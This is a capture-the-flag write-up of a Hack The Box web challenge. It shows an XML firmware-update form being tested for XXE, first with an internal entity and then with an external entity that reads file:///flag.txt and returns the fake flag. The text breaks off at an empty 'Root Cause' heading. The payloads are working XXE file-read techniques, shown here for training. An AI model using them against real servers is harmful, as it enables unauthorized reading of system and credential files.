

Jailbreak

Easy

1. Overview

The webpage looks very much like a game play! I visit with **INV**, **DATA**,



But only **/rom** has interactive with server by **xml** data. I send a **xml** to the server, which process data and response to me a input version.

Firmware Update

Enter an update configuration file in the appropriate format (XML)

```
<FirmwareUpdateConfig>
  <Firmware>
    <Version>1.33.7</Version>
    <ReleaseDate>2077-10-21</ReleaseDate>
    <Description>Update includes advanced biometric lock functionality for enhanced security.</Description>
    <Checksum type="SHA-256">9b74c9897bac770ffc029102a200c5de</Checksum>
  </Firmware>
  <Components>
    <Component name="navigation">
      <Version>3.7.2</Version>
      <Description>Updated GPS algorithms for improved wasteland navigation.</Description>
      <Checksum type="SHA-256">e4d909c290d0fb1ca068ffaddf22cbd0</Checksum>
    </Component>
    <Component name="communication">
      <Version>4.5.1</Version>
      <Description>Enhanced encryption for secure communication channels.</Description>
      <Checksum type="SHA-256">88d862aeb067278155c67a6d6c0f3729</Checksum>
    </Component>
    <Component name="biometric_security">
      <Version>2.0.5</Version>
      <Description>Introduces facial recognition and fingerprint scanning for access control.</Description>
      <Checksum type="SHA-256">abcdef1234567890abcdef1234567890</Checksum>
    </Component>
  </Components>
  <UpdateURL>https://satellite-updates.hackthebox.org/firmware/1.33.7/download</UpdateURL>
</FirmwareUpdateConfig>
```

Submit

Firmware version 1.33.7 update initiated.

I deleted everything and left only **Version** tag to test!

Firmware Update

Enter an update configuration file in the appropriate format (XML)

```
<FirmwareUpdateConfig>
  <Firmware>
    <Version>
Shurayz's on the web!
    </Version>
  </Firmware>
</FirmwareUpdateConfig>
```

Submit

Firmware version
Shurayz's on the web!
update initiated.

Yeah, it works. I think the core vector for **xml** is **xxe**, so in next section I try to test this vulnerability.

2. Enumeration

I think the server has a `xml` code: `<?xml version="1.0" ?>` as local, loads input and execute as `xml`. So I try to test with this payload: `<!DOCTYPE x [<!ENTITY xxe "I am"> ]>`!

The screenshot shows a web application interface for a 'Firmware Update'. At the top, there's a title 'Firmware Update' in green and a subtitle 'Enter an update configuration file in the appropriate format (XML)'. Below this is a large text area containing an XML payload. At the bottom of the text area is a green 'Submit' button. Below the button, the application output is displayed in a monospaced font.

```
<!DOCTYPE x [<!ENTITY xxe "I am"> ]>
<FirmwareUpdateConfig>
  <Firmware>
    <Version>
      &xxe; on the web!
    </Version>
  </Firmware>
</FirmwareUpdateConfig>
```

Submit

Firmware version
I am on the web!
update initiated.

Yeah it works, now I exploit the server by this vector!

3. Exploitation

I guess the file most likely has name `/flag.txt` or `flag` or `/app/flag.txt`, ... First I try for `/flag.txt` with `<!DOCTYPE x [<!ENTITY flag SYSTEM "file:///flag.txt"> ]>`, which the simple core payload for xxe!

Firmware Update

Enter an update configuration file in the appropriate format (XML)

```
<!DOCTYPE x [<!ENTITY flag SYSTEM "file:///flag.txt">]>
<FirmwareUpdateConfig>
  <Firmware>
    <Version>
      &flag;
    </Version>
  </Firmware>
</FirmwareUpdateConfig>
```

Submit

Firmware version
HTB{just_a_fake_flag}
update initiated.

Yeah, it works!

4. Root Cause